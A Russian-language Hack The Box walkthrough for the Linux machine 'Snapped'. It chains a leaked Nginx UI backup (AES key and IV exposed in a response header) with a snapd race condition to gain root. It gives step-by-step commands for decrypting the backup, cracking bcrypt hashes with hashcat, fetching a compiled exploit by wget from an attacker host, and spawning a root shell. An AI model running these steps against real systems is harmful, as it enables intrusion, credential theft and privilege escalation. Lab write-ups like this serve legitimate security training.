
# HTB Snapped — разбор сложной Linux-машины. CVE-2026-27944 (неавторизованное раскрытие резервной копии в Nginx UI) в связке с CVE-2026-3888 (гонка состояний в snapd, локальное повышение привилегий) для полной компрометации системы.
HTB Snapped — разбор сложной Linux-машины. CVE-2026-27944 (неавторизованное раскрытие резервной копии Nginx UI) в связке с CVE-2026-3888 (гонка состояний в snapd для локального повышения привилегий) для полной компрометации системы.
Сложность: Hard
ОС: Linux (Ubuntu 24.04)
Дата выхода: 23 мар 2026
CVE: CVE-2026-27944, CVE-2026-3888
Snapped — сложная Linux-машина, размещающая статический сайт за nginx с панелью администратора Nginx UI. Первоначальный доступ получается путём эксплуатации CVE-2026-27944 — неавторизованной конечной точки резервного копирования, которая раскрывает ключи шифрования AES. После расшифровки резервной копии и взлома bcrypt-хэша из базы данных SQLite получается доступ по SSH. Повышение привилегий до root достигается через CVE-2026-3888 — гонку состояний в snapd между snap-confine и systemd-tmpfiles.
nmap -sCV <TARGET_IP>
Открытые порты: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Найдено: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
Версии Nginx UI до 2.3.3 раскрывают /api/backup без
аутентификации. Заголовок ответа X-Backup-Security раскрывает
ключ AES-256-CBC и IV, необходимые для расшифровки архива резервной копии.
Шаг 1 — Скачивание резервной копии и извлечение ключа/IV:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
Шаг 2 — Преобразование в hex и расшифровка:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
Шаг 3 — Извлечение хэша из базы данных SQLite:
strings database.db | grep '\$2a\$'
# Найдены bcrypt-хэши для пользователей: jonathan, admin
Шаг 4 — Взлом хэша:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
Шаг 5 — Доступ по SSH:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 — локальное повышение привилегий в snapd, затрагивающее Ubuntu 24.04. Она использует гонку состояний TOCTOU между двумя системными компонентами:
/tmp/.snapКогда systemd-tmpfiles удаляет /tmp/.snap, атакующий может воссоздать
его с вредоносным содержимым. Когда snap-confine в следующий раз инициализирует
песочницу, он монтирует каталог, контролируемый атакующим, с привилегиями
root, что позволяет перехватить динамический компоновщик.
Шаг 1 — Проверка уязвимой версии:
snap version
# snapd 2.63.1+24.04 — уязвима (исправлено в 2.73)
Шаг 2 — Компиляция эксплойта на машине атакующего:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Шаг 3 — Передача на цель:
# Машина атакующего
python3 -m http.server 8080
# Цель
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
Шаг 4 — Запуск эксплойта:
# Сессия 1 — запуск эксплойта
~/exploit ~/librootshell.so
# Сессия 2 — запуск очистки при появлении "Polling..."
rm -rf /tmp/.snap
Шаг 5 — Root-оболочка:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt